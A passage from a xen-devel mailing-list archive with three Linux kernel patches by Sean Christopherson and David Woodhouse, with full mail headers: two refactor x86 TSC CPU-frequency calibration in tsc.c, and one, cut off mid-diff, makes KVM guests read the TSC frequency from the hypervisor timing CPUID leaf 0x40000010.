         e8iNT/9c56Pow9zrTf45hz5c6BGBmoXg0r/6mw0PxdMSnkeP8y5hALC5mYxn7RoGvcCm
         HqeAg0D6sp0LEzpPOQJmIemL03OzzT8AI1UvGT9Mor66o9GA7Sr05XDEsI8ad5ZEZrYh
         crTA0MFmx7dQ269CIHMrJFJpgpZtUcZg7iGUIgXR7y9rGqz96JtlAJscmucRx3ma9hcA
         mgQpuO2aLqyFOhLbWcMRHUtE8fXdsKJS6NbHkR66LSenDnYLZcPA41yzxcqsN5nklsJn
         lmEA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934366; x=1783539166;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=3QmXXgqE7aLG5WH8n+yjrFm5ZX7gR61uwM9vT7lFOWU=;
        b=NMQBfi8lamVDkhs2TvQIzGfwVKIuLOvGwIUpvA5QmJjPNOjCehcN2mO1HhUKA6KEOP
         N9ZQn7eiLRiIeJMLjrnQ9ouEtLol2UG2dmXZYlyrDTJFXd1bOEXUN6U/KP88itBx+G9A
         MYIVIq2IujgXtrd8vS2fV0KiQXE9Z6n8FtarA+CWt2xj5SDnux3xgDB90avekxMwEYLU
         EWgZxC/EfAizAJWRjacN5zH50EMiqACrwLAzk1ryj9OdG7UMGgbwL20MhJ7ughkGiXqe
         FmqU6InIrqE9dZfVZ3CV2lyRGjrUXHuNnOrly9+mCB17bYNTLrHKMqoiy+IIoS5HYnKJ
         ymHQ==
X-Forwarded-Encrypted: i=1; AHgh+Ro1UIMDcp0ekQsnvBAx3GR/985S21Zdqagjeb0vAwLGgvhK56jxSEaPPpigzw8YiRpi5d2RMjt69Yg=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwQX2zbiNAQArbsfq2I2DsxiIuX44AgnmBWU5CueGw2cVDnAayN
	QtG9QesKZPCEvbQpblRkpHq1MaaoTnovODoB9dEG3+H9sJwoLt00DSUo6y7akV4WZ3APCVuMfO/
	Cq9bV1w==
X-Received: from plef18.prod.google.com ([2002:a17:902:f392:b0:2c7:eb53:9c06])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:944:b0:2ca:68b1:b64c
 with SMTP id d9443c01a7336-2ca7e75d694mr30967275ad.20.1782934365572; Wed, 01
 Jul 2026 12:32:45 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:37 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-17-seanjc@google.com>
Subject: [PATCH v5 16/51] x86/tsc: Rename pit_hpet_ptimer_calibrate_cpu() => native_calibrate_cpu_late()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934368-2C9AB1CC-B8F08058/0/0
X-purgate-type: clean
X-purgate-size: 1434

Rename the late CPU calibration routine so that its relationship to the
early routine is more obvious and intuitive.

No functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/tsc.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index a877b82d0991..9764ac758081 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -752,7 +752,7 @@ static unsigned long cpu_khz_from_cpuid(void)
  * calibrate cpu using pit, hpet, and ptimer methods. They are available
  * later in boot after acpi is initialized.
  */
-static unsigned long pit_hpet_ptimer_calibrate_cpu(void)
+static unsigned long native_calibrate_cpu_late(void)
 {
 	u64 tsc1, tsc2, delta, ref1, ref2;
 	unsigned long tsc_pit_min = ULONG_MAX, tsc_ref_min = ULONG_MAX;
@@ -927,7 +927,7 @@ static unsigned long native_calibrate_cpu(void)
 	unsigned long tsc_freq = native_calibrate_cpu_early();
 
 	if (!tsc_freq)
-		tsc_freq = pit_hpet_ptimer_calibrate_cpu();
+		tsc_freq = native_calibrate_cpu_late();
 
 	return tsc_freq;
 }
@@ -1472,7 +1472,7 @@ static bool __init determine_cpu_tsc_frequencies(bool early,
 		else
 			tsc_khz = native_calibrate_tsc();
 	} else {
-		cpu_khz = pit_hpet_ptimer_calibrate_cpu();
+		cpu_khz = native_calibrate_cpu_late();
 	}
 
 	/*
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350392.1607950 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g1-0003aJ-Pa; Wed, 01 Jul 2026 19:32:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350392.1607950; Wed, 01 Jul 2026 19:32:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g1-0003XI-64; Wed, 01 Jul 2026 19:32:53 +0000
Received: by outflank-mailman (input) for mailman id 1350392;
 Wed, 01 Jul 2026 19:32:50 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3XmtFagYKCaMVHDQMFJRRJOH.FRPaHQ-GHYHOOLVWV.aHQSURMHFW.RUJ@flex--seanjc.bounces.google.com>)
 id 1wf0fy-0002yo-3Q
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0fx-00B3ua-G0
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:49 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3XmtFagYKCaMVHDQMFJRRJOH.FRPaHQ-GHYHOOLVWV.aHQSURMHFW.RUJ@flex--seanjc.bounces.google.com>)
 id 6a456b3e-5cb7-0a2a0a5109dd-0a2a4506aae4-46
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:49 +0200
Received: from [209.85.216.73] (helo=mail-pj1-f73.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3XmtFagYKCaMVHDQMFJRRJOH.FRPaHQ-GHYHOOLVWV.aHQSURMHFW.RUJ@flex--seanjc.bounces.google.com>)
 id 6a456b5f-08de-0a2a45060019-d155d849d0a8-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:49 +0200
Received: by mail-pj1-f73.google.com with SMTP id
 98e67ed59e1d1-37fa907f98eso892862a91.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:48 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934367; x=1783539167; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=wWnD58giubyrEvhTS3JtzvsAOScPFFHLvCt5ZIn12HI=;
        b=dqIfi1MVbD/oEqcqlx8SVvWcnzIDmsXWRrDyG9v8mwxKwRM92ZiVNdFjukCehYsQ/a
         s62fxqlt/VGzYgYl/4xuxwlz5H70MkpV0mJt85yc+pQw7wz2nAHar9nQf5+/wGD64J63
         rkDb5M+Ov06UYiyEZAn66QkQ6tu2UL6m4FX1XmjhAWSDPc0CUtFXpwo58G3MYNimCzWX
         4UxKrwDhRrpDB205bOt9Md1j/8RWQ3afhlAOfl4ftxu2swE/Ndq/0ei8ewjGZBUs5Bud
         4G8d7QLW3OpjXFlnrOgz4l95TzTSM0nu6RN9lWHPdOD32rJ+0Hzry6a44YuqojilP1er
         z7NA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934367; x=1783539167;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=wWnD58giubyrEvhTS3JtzvsAOScPFFHLvCt5ZIn12HI=;
        b=XbfBoKTpQI2LMxKivbOdQFl2+oFlpfMKTIzHWjPEOUfwSNbVzTPNpV7v6S1vaPZLns
         aD0gGnaPaPTuxhgNtI5v0PunteU5aosetbKkoHfEbonMEX7pRBxjWDtx2VlRg4iWjFVc
         fb7e3ATCeFkYVD4O6w5FIteBuRhDGp555nMV3mTTGtlFfuvpp2Z6BzFfmGcG4DfBl2jL
         apmH8o2zmpefB8pCglHbAxistZ1rIUyGlV4xH06JKxQazjDYujsnhydRc967va0YT15C
         Xvu9XE0G4aKnbmfDhCf0nUAYcBQPjjGQIem3SCLgoLXAKsxB2v8QkO/ZWP4QcuvDEst6
         mTVg==
X-Forwarded-Encrypted: i=1; AHgh+Roq8xjtFhE4fEIxUERyrhmA4TbeLlyiIfEAzME6jwqwnt9qm8XMSkoIgRYG0yg4NnFT3p0wcPnTjAU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyNm/9ZgZxOJ+Q3JmVTBcBtnWKuJxKZeTFtlLMSQKWPSkmbnWP8
	ReMY+YJ+QLchbptXocVAm5F/3+TjA8RuBTKnjFSCJmkG1YVsT6wy/sKcjwWfbfVU8YuR7Adc7XK
	6NajT4A==
X-Received: from pjbms18.prod.google.com ([2002:a17:90b:2352:b0:380:9651:afb9])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90a:e7ce:b0:37d:8426:40de
 with SMTP id 98e67ed59e1d1-380aa0ad396mr2721883a91.1.1782934366877; Wed, 01
 Jul 2026 12:32:46 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:38 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-18-seanjc@google.com>
Subject: [PATCH v5 17/51] x86/tsc: Fold native_calibrate_cpu() into recalibrate_cpu_khz()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-16d1c6/1782934369-43F2C68D-85239273/0/0
X-purgate-type: clean
X-purgate-size: 1497

Fold the guts of native_calibrate_cpu() into its sole remaining caller,
recalibrate_cpu_khz() to eliminate the extra SMP=n #ifdef, and so that it's
more obvious that directly invoking the early vs. late calibration routines
in determine_cpu_tsc_frequencies() is intentional.

No functional change intended.

Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/tsc.c | 19 +++----------------
 1 file changed, 3 insertions(+), 16 deletions(-)

diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 9764ac758081..6ed6f8f012eb 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -918,21 +918,6 @@ static unsigned long native_calibrate_cpu_early(void)
 	return fast_calibrate;
 }
 
-#ifndef CONFIG_SMP
-/**
- * native_calibrate_cpu - calibrate the cpu
- */
-static unsigned long native_calibrate_cpu(void)
-{
-	unsigned long tsc_freq = native_calibrate_cpu_early();
-
-	if (!tsc_freq)
-		tsc_freq = native_calibrate_cpu_late();
-
-	return tsc_freq;
-}
-#endif
-
 void recalibrate_cpu_khz(void)
 {
 #ifndef CONFIG_SMP
@@ -944,7 +929,9 @@ void recalibrate_cpu_khz(void)
 	if (WARN_ON_ONCE(cpu_feature_enabled(X86_FEATURE_TSC_KNOWN_FREQ)))
 		return;
 
-	cpu_khz = native_calibrate_cpu();
+	cpu_khz = native_calibrate_cpu_early();
+	if (!cpu_khz)
+		cpu_khz = native_calibrate_cpu_late();
 	tsc_khz = native_calibrate_tsc();
 	if (tsc_khz == 0)
 		tsc_khz = cpu_khz;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:32:58 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:32:58 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350406.1607969 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g6-0004hT-K6; Wed, 01 Jul 2026 19:32:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350406.1607969; Wed, 01 Jul 2026 19:32:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0g6-0004gB-0Y; Wed, 01 Jul 2026 19:32:58 +0000
Received: by outflank-mailman (input) for mailman id 1350406;
 Wed, 01 Jul 2026 19:32:55 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3Y2tFagYKCagaMIVRKOWWOTM.KWUfMV-LMdMTTQaba.fMVXZWRMKb.WZO@flex--seanjc.bounces.google.com>)
 id 1wf0g2-0003uo-QV
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:32:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0g2-00B3ua-6c
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:32:54 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3Y2tFagYKCagaMIVRKOWWOTM.KWUfMV-LMdMTTQaba.fMVXZWRMKb.WZO@flex--seanjc.bounces.google.com>)
 id 6a456b66-5cb7-0a2a0a5109dd-0a2a4506dc64-2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:54 +0200
Received: from [209.85.215.202] (helo=mail-pg1-f202.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3Y2tFagYKCagaMIVRKOWWOTM.KWUfMV-LMdMTTQaba.fMVXZWRMKb.WZO@flex--seanjc.bounces.google.com>)
 id 6a456b64-08de-0a2a45060019-d155d7cad033-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:53 +0200
Received: by mail-pg1-f202.google.com with SMTP id
 41be03b00d2f7-c88fc985a65so945578a12.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Transfer-Encoding:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934372; x=1783539172; darn=lists.xenproject.org;
        h=content-transfer-encoding:cc:to:from:subject:message-id:references
         :mime-version:in-reply-to:date:reply-to:from:to:cc:subject:date
         :message-id:reply-to;
        bh=YK4DO2yTgoTSHNgYS/yt/30ZUc46SVmXG9Yy1qokrf0=;
        b=XvpnYDD3F5OG8PmvFhBtXpjFUyiMZV46FNST5IAxcM3USRxeSg4JZVgimVFBlo8g3v
         +08TkZQ76Eh728YINpBm4NZzB3PziJuMMyBozDdqu348A9iUenY0AaD6QOqDJXrymu2P
         lBsQXdVyO1rOp04GTRQwOIdwBmkZYTN9rfxyQUC+KBOe8GUIbUU6JyU8ncyuaJpjsgCL
         +OEyEVP0p4YIs776thmtcnGO6kAPoFPVVH2dYnNWhcKkQR+BM3BuAnURvEZFsdFnoL83
         TL11TIi5427NDvTEUgV9tqzkZ04nsvfBa2hRd9jeIUeNFGSBja6pDdhFHkJGEkxAFzyZ
         loKA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934372; x=1783539172;
        h=content-transfer-encoding:cc:to:from:subject:message-id:references
         :mime-version:in-reply-to:date:reply-to:x-gm-message-state:from:to
         :cc:subject:date:message-id:reply-to;
        bh=YK4DO2yTgoTSHNgYS/yt/30ZUc46SVmXG9Yy1qokrf0=;
        b=EvwtXZslMj9sd2x6tYhjzn04oKlM1lwEKWX90rmYlfdsC6RqfTaX8FHPEebaBUq18W
         W7+2VrCXG4akaqYR8ZEGpzeLgcc3Sf71gsrOwFxBVl1ZG2CigPaHaXiP8MtZJngyGZgx
         2WGgQmANY+u8HS4A0paJBB3RgT7U0D9UDC3f5W+Buc+r8VtN0ywJ2Bj/Ur5cabDFcqgb
         t+nQclTp61tDwfKT24J7Uuh2Q/OKXD68X8pNiEVcIcil3d7AsZSx6SMJCDkWWEnWg1/D
         38EBovtQs9M/lv1TT2fngq/jOr9TbYKxJiYSNtMjeizzQJWL9JK3WVi5U0lgyzqGYD1Y
         uiZA==
X-Forwarded-Encrypted: i=1; AFNElJ8/LOlB7Uyh+BtSEW6pLH0yB4f47gInY50DaiG4pqWwrQzbXRhZSbNVXFx9IB/TqEFCueTvkY6eZ28=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyD/CttmOM/SP2zFWr6KHRmmacy7tQxFToQ8ussbXyph5yjdjhu
	z6hupi3JAyNfwBCFvpdHs+CZq1MJghm6854XMRaeKPL+Tvj4VQr1wfjLXv0wHqBzKYU+gNwXb2O
	LHCy3IA==
X-Received: from pgam28.prod.google.com ([2002:a05:6a02:2b5c:b0:c96:bec2:5af7])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:7486:b0:3b4:65ac:e2e6
 with SMTP id adf61e73a8af0-3bfed362212mr3320468637.36.1782934371539; Wed, 01
 Jul 2026 12:32:51 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:42 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-22-seanjc@google.com>
Subject: [PATCH v5 21/51] x86/kvm: Obtain TSC frequency from PV CPUID if present
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-16d1c6/1782934374-F999168D-5FAF1F8C/0/0
X-purgate-type: clean
X-purgate-size: 5049

From: David Woodhouse <dwmw@amazon.co.uk>

In https://lkml.org/lkml/2008/10/1/246 a proposal was made for generic
CPUID conventions across hypervisors. It was mostly shot down in flames,
but the leaf at 0x40000010 containing timing information didn't die.

It's used by XNU and FreeBSD guests under all hypervisors=C2=B9=C2=B2 to de=
termine
the TSC frequency, and also exposed by the EC2 Nitro hypervisor (as
well as, presumably, VMware). FreeBSD's Bhyve is probably just about
to start exposing it too.

Use it under KVM to obtain the TSC frequency more accurately, instead of
reverse-calculating the frequency from the mul/shift values in the KVM
clock.  Use the information to get the CPU frequency as well (kvmclock
feeds in kvm_get_tsc_khz() for both TSC and CPU calibration), as the info
from CPUID is superior in every way; whether or not kvmclock should be
overriding CPU calibration in the first place is an entirely different
question.

Use the info from CPUID even if the user explicitly disables kvmclock, or
if it's unsupported.  The PV CPUID leaf has no dependency on kvmclock, and
is in fact more useful if kvmclock is disabled since the kernel won't be
able to use kvmclock to derive a derive the TSC frequency.

Before:
[    0.000020] tsc: Detected 2900.014 MHz processor

After:
[    0.000020] tsc: Detected 2900.015 MHz processor

$ cpuid -1 -l 0x40000010
CPU:
   hypervisor generic timing information (0x40000010):
      TSC frequency (Hz) =3D 2900015
      bus frequency (Hz) =3D 1000000

Note!  *Independently* query for non-null get_{cpu,tsc}_khz() overrides so
that kvmclock doesn't clobber x86_init.hyper.get_cpu_khz() if/when KVM adds
support for getting the CPU frequency separately from the TSC frequency.

=C2=B9 https://github.com/apple/darwin-xnu/blob/main/osfmk/i386/cpuid.c
=C2=B2 https://github.com/freebsd/freebsd-src/commit/4a432614f68

Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
Co-developed-by: Sean Christopherson <seanjc@google.com>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvm.c      | 33 +++++++++++++++++++++++++++++++++
 arch/x86/kernel/kvmclock.c |  6 ++++--
 2 files changed, 37 insertions(+), 2 deletions(-)

diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c
index dcef84da304b..909d3e5e5bcd 100644
--- a/arch/x86/kernel/kvm.c
+++ b/arch/x86/kernel/kvm.c
@@ -49,6 +49,8 @@
 #include <asm/svm.h>
 #include <asm/e820/api.h>
=20
+static unsigned int kvm_tsc_khz_cpuid __initdata;
+
 DEFINE_STATIC_KEY_FALSE_RO(kvm_async_pf_enabled);
=20
 static int kvmapf =3D 1;
@@ -911,6 +913,21 @@ bool kvm_para_available(void)
 }
 EXPORT_SYMBOL_GPL(kvm_para_available);
=20
+static u32 __init kvm_cpuid_timing_info_leaf(void)
+{
+	u32 base =3D kvm_cpuid_base();
+
+	if (!base || cpuid_eax(base) < (base | KVM_CPUID_TIMING_INFO))
+		return 0;
+
+	return base | KVM_CPUID_TIMING_INFO;
+}
+
+static unsigned int __init kvm_get_tsc_khz(void)
+{
+	return kvm_tsc_khz_cpuid;
+}
+
 unsigned int kvm_arch_para_features(void)
 {
 	return cpuid_eax(kvm_cpuid_base() | KVM_CPUID_FEATURES);
@@ -960,6 +977,7 @@ static void __init kvm_init_platform(void)
 		.mask_lo =3D (u32)(~(SZ_4G - tolud - 1)) | MTRR_PHYSMASK_V,
 		.mask_hi =3D (BIT_ULL(boot_cpu_data.x86_phys_bits) - 1) >> 32,
 	};
+	u32 timing_info_leaf;
=20
 	if (cc_platform_has(CC_ATTR_GUEST_MEM_ENCRYPT) &&
 	    kvm_para_has_feature(KVM_FEATURE_MIGRATION_CONTROL)) {
